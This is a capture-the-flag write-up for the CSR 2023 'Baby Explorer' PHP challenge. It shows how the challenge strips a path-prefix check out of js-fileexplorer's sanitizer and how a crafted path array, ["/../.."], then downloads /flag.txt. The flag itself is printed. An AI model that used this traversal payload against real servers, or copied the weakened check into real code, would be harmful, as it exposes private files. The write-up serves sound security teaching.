Tags: php directory-traversal web
Rating:
## CSR 2023: Baby Explorer
This is a writeup for a simple PHP web challenge. The goal is to print the contents of `/flag.txt`.
![Screenshot of exploitable website](https://i.ibb.co/16p5z7y/website.png)
Frontend and Backend is based on [js-fileexplorer by CubicleSoft](https://github.com/cubiclesoft/js-fileexplorer). We can download the PHP libraries used by js-filexplorer and compare them to the challenge libraries using `diff -r`:
```diff
--- ~/Downloads/php-libs/file_explorer_fs_helper.php
+++ ./file_explorer_fs_helper.php
@@ -38,7 +38,6 @@
if ($result === false) return false;
$result = str_replace("\\", "/", $result);
- if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return false;
if ($extrapath !== "") $result .= "/" . $extrapath;
@@ -137,7 +136,8 @@
public static function getpathdepth($path, $basedir)
{
- return substr_count($path, "/", strlen($basedir));
+ return 5;
}
public static function getentryhash($type, $file, &$info)
```
The purpose of the removed if statement was to make sure that the realpath of the sanitized path starts with `$basedir`. Clearly, the app is begging to be exploited with a directory traversal attack.
Let's take a look at how js-filexplorer is configured for this challenge:
```php
$options = array(
"base_url" => "http://baby-explorer.rumble.host/",
"protect_depth" => 0, // Protects base directory + additional directory depth.
"recycle_to" => "Recycle Bin",
"temp_dir" => "/tmp",
"dot_folders" => false, // .git, .svn, .DS_Store
"allowed_exts" => ".jpg, .jpeg, .png, .gif, .svg, .txt",
"allow_empty_ext" => true,
"refresh" => true,
"rename" => true,
"file_info" => false,
"load_file" => false,
"save_file" => false,
"new_folder" => true,
"new_file" => ".txt",
"upload" => true,
"upload_limit" => 1000, // -1 for unlimited or an integer
"download" => "user123-" . date("Y-m-d_H-i-s") . ".zip",
"download_module" => "", // Server handler for single-file downloads: "" (none), "sendfile" (Apache), "accel-redirect" (Nginx)
"download_module_prefix" => "", // A string to prefix to the filename. (For URI /protected access mapping for a Nginx X-Accel-Redirect to the system root)
"copy" => true,
"move" => true,
"recycle" => true,
"delete" => true
);
```
Setting `protect_depth` to 0 means minimal protection of the `/` directory. The options array also tells us which actions are allowed, e.g. we can upload and download files, but not view them (`load_file`).
Let's download a file and look at the HTTP request with browser dev tools:
```http
POST / HTTP/1.1
Host: baby-explorer.rumble.host
Content-Type: multipart/form-data; boundary=---------------------------9990746362586650592204378159
Content-Length: 438
Cookie: PHPSESSID=dc6a931b7aecfd9944e978b952495e6d
-----------------------------9990746362586650592204378159
Content-Disposition: form-data; name="action"
file_explorer_download
-----------------------------9990746362586650592204378159
Content-Disposition: form-data; name="path"
["","babies"]
-----------------------------9990746362586650592204378159
Content-Disposition: form-data; name="ids"
["Baby_Face.JPG"]
-----------------------------9990746362586650592204378159--
```
The `path` array is converted into an absolute file path using this function:
```php
public static function GetSanitizedPath($basedir, $name, $allowdotfolders = false, $extrapath = "")
{
$path = self::GetRequestVar($name); // the path array
if ($path === false) return false;
$path = @json_decode($path, true);
if (!is_array($path)) return false;
$result = array();
foreach ($path as $id)
{
if (!is_string($id) || $id === "." || $id === "..") return false;
if ($id === "") continue;
if ($id[0] === "." && !$allowdotfolders) return false;
$result[] = $id;
}
// basedir is "/tmp/<uuid>"
$result = @realpath(rtrim($basedir, "/") . "/" . implode("/", $result));
if ($result === false) return false;
$result = str_replace("\\", "/", $result);
// the removed but critical security check:
// if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return false;
if ($extrapath !== "") $result .= "/" . $extrapath;
return $result;
}
```
Based on the above, what do we need to set the path array to, so that `GetSanitizedPath`
returns a path to `/`? Note that since `allowdotfolders` is configured to be false, no path component must start with a dot.
Here's my solution: `path = ["/../.."]; ids = ["flag.txt"]`. This will be transformed into `/tmp/<uuid>//../../flag.txt`. The double slash is treated like a single slash on Linux.
You can send the winning HTTP request e.g. by right clicking the previous download request in Firefox and selecting "Edit and resend". This will show the flag in the response tab:
CSR{Oops_there_might_have_been_a_reason_for_that_check}